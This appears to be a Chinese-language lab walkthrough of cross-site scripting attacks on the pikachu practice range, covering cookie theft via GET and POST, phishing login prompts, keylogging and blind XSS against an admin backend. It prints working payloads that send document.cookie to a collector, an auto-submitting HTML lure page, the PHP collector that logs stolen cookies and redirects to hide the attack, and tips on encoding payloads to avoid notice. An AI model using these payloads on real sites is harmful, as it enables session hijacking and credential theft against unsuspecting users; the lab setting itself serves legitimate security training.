一,XSS 实战
以pikachu靶场为例
1-1 盗取cookie
过程:想要盗取别人的cookie信息的话有一个前提条件,就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据
1-1-1 安装xss后台
pikachu靶场有个xss后台,先进行安装一下
点击 点击这里 进入首页即可
点击第一个cookie收集,进去
点击cookie收集,来到如下页面进行等待,等待收取你攻击获得的数据
http://192.168.169.190/pikachu/vul/xss/xss_stored.phphttp://192.168.31.110/pikachu/vul/xss/xss_stored.php
1-1-2 获取cookie(GET请求)
首先关闭phpstudy的魔法符号
回到我们的pikachu页面,这里我们看到有xss攻击的点
注入XSS攻击代码
这个payload的意思就是获取当前网页的cookie信息,然后发送给http://192.168.169.190/pikachu/pkxss/xcookie/cookie.phphttp://192.168.169.190/pikachu/pkxss/xcookie/cookie.php
所以当有人触发payload的时候,就会收集cookie 信息发给目xss后台,保存到数据库了http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php
'"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
最好对这个代码编码一下,让别人不那么容易看出来,那么这段代码的意思是将获取到的cookie,发送给这个网址的文件 /pikachu/pkxss/xcookie/cookie.php 这个文件将cookie数据保存到了xxs后台系统的数据库中,我们就能在后台看到获取的cookie数据了,我们看一下这个文件,注意header函数中的ip地址要改成我们自己的pikachu项目所在服务器的ip地址昂。这个header跳转也是为了不让对方在网址上看到你的xss代码,迷惑对方用的。
接下来我们看一下 获取/pikachu/pkxss/xcookie/cookie.php 的cookie.php是如何处理的
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>
注入xss代码,然后访问,注意,如果别人添加cookie的时候,给set_cookie方法设置了那个httponly=True参数的话,是不能完成这个攻击的,因为有了这个参数,那么js代码就不能获取cookie了,但是它只针对js生效,什么vscript等前端语言是不受这个参数限制的
然后就是submit提交
再回来看看后台有么有获取到数据
发现已经获取到了cookie信息
如果效果不好的话,切换php一下版本
1-1-
1-1-3 获取cookie(post请求)
post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来
下面是HTML代码,注意替换里面的IP地址信息,保存到桌面xxx.html
action= 里的IP地址是存在xss注入点的页面网址
document.location = 里的IP地址是xss后台的IP地址
将里面的ip地址和路径改为这个虚拟机的ip地址和xss后台路径:这个文件我们后面想办法引导别人打开这个文件,当他打开这个文件的时候,就把他的cookie信息发送到了我们的xss后台。
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value="'"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->
整个原理详细讲解
这是登录前的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/post_login.php
这是登录后的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php
这是 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php 对应的后台页面服务端代码,这个页面只有登录了能访问所以有权限。所以如果直接往这个页面发请求的话就会检验有没有登录。
下面看发post请求的html页面,以下是主体代码
<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value="'"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
这个是一个表单,提交到有权限的一个后台地址,只能登录了才能访问。可以看到input框的name属性为message,这个input框的值为
'"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
准备工作差不多了,现在给大家画个详细的图解,讲解cookie如何获取
接下来就开始实践一下吧
找到pikachu,输入用户名和密码登录这里,admin/123456,登录成功以后,浏览器就会保存登录成功的cookie,登录成功后往后台提交数据的时候都会带上cookie ,后台根据cookie判断用户是否登录成功。
登录成功后的效果 这时候浏览器已经保存了cookie,现在提交数据时都会带上这个cookie
然后直接双击打开我们的post.html(注意用户登录的cookie保存在谷歌浏览器,这个xx.html算是攻击者发给用户的攻击代码,诱导用户打开)
首先,用户打开以后会往后台 xss_reflected_post.php发请求,带上一个message='我们的payload',因为浏览器已经缓存了这个用户的cookie,所以会带上cookie,这样身份认证就通过了
后台取出message值发现等于kebi ,就会把payload返回给客户端,payload就会在客户端执行,发请求给xss后台,同时带上自己的cookie
打开效果:直接跳转到了如下页面
然后看我们xss后台的cookie信息
有了cookie信息,我们就不知道账号密码的情况下也能登录,演示一下
我用火狐浏览器演示不用账号密码,通过cookie登录
网址是这个http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php
但是这个是有权限的,如果没有登录的话,浏览器不会保存cookie ,直接访问的话后台验证失败,就会跳转到登录页,这个我们之前分析过了
我还没按回车,一按回车因为登录失败就会跳转到登录页
现在我用之前获取到的cookie试一下 ,这里用了火狐浏览器提供的一个插件,很方便的管理cookie ,可以添加cookie
这是之前收集到的cookie
ant[uname]=admin;
ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=olj54c4qim7ik7k7h560eik013
都准备就绪了,看看能否成功 ,按回车发请求,就会携带上cookie
我们就通过xss漏洞获取到了用户cookie以后,用用户的身份成功登录了网站。
1-2 钓鱼
钓鱼的方法有很多,但是这个主要是看你的页面搭建的好不好,是不是和别人正常网站页面的很一样,能不能骗到别人,我们不能做这个昂,违法的。 只要有xss漏洞的地方,都可以做钓鱼。
钓鱼攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xfish
注意把IP地址修改成你自己的 ,注意源文件路径有问题,路径少了pikachu
这段代码就是弹出一个对话框,然后将用户在对话框中输入的用户名和密码发送到xfish.php文件中,这个文件做的事情就是将数据保存到数据库中。
准备payload
'"><script src="http://192.168.169.190/pikachu/pkxss/xfish/fish.php"></script>
打开pikachu的存储型位置,将payload放进入 ,然后submit
就弹出钓鱼页面返回的输入用户名,密码的框
输入账号密码提交,这样以后这个payload会永久存储在数据库了,只要有用户登录机会弹出框,让用户输入用户密码,然后发给攻击者
现在我们到xss后台看一下
发现已经有结果了
当你输入了用户信息之后,点击登录,结果啊,提示你登录超时请重新登录等效果,然后你有输入了一遍用户名和密码,在点击登录的时候,你的用户信息就被拿走了,第二次提示你输入用户名密码的时候,你要注意观察网站的网站是否变化了,看上去很诡异的,编码过的,那么就不要输入了,因为这是别人做的和正常网站一样页面效果的钓鱼网站登录页面,以前qq账号密码就这么丢的。
1-3 获取键盘记录
js的这个监控键盘就的js文件功能不太好昂,简答演示一下
payload如下
'"><script src="http://192.168.169.190/pikachu/pkxss/rkeypress/rk.js"></script>
打开下面的文件,修改一下ip地址和路径,注意源文件路径有问题,路径少了pikachu,
存储型xss那里输入payload,提交
然后在页面上随便敲一敲键盘,注意只能记录这个钓鱼的页面实现键盘记录提交
发现已经有很多数据了
1-4 XSS盲打
XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。
管理员后台: http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php
简单payload
xxx'"><script>confirm(1)</script>
点击提交
点击提交之后,没有任何弹框效果,不知道它有没有xss漏洞,因为数据提交到了后台,我们在前端没有看到我们提交的任何数据。
这里有提示后台网址
进入后台看一下:
http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php
账号密码 amin/123456
一登录就发现,后台管理员遭殃了,原来我们前端输入的恶意代码作用到了后台
那么这里我如果插入的钓鱼代码,弹框效果更加好看一些,提示重新登陆等文字,那么很有可能就能获取到你的后台账号密码。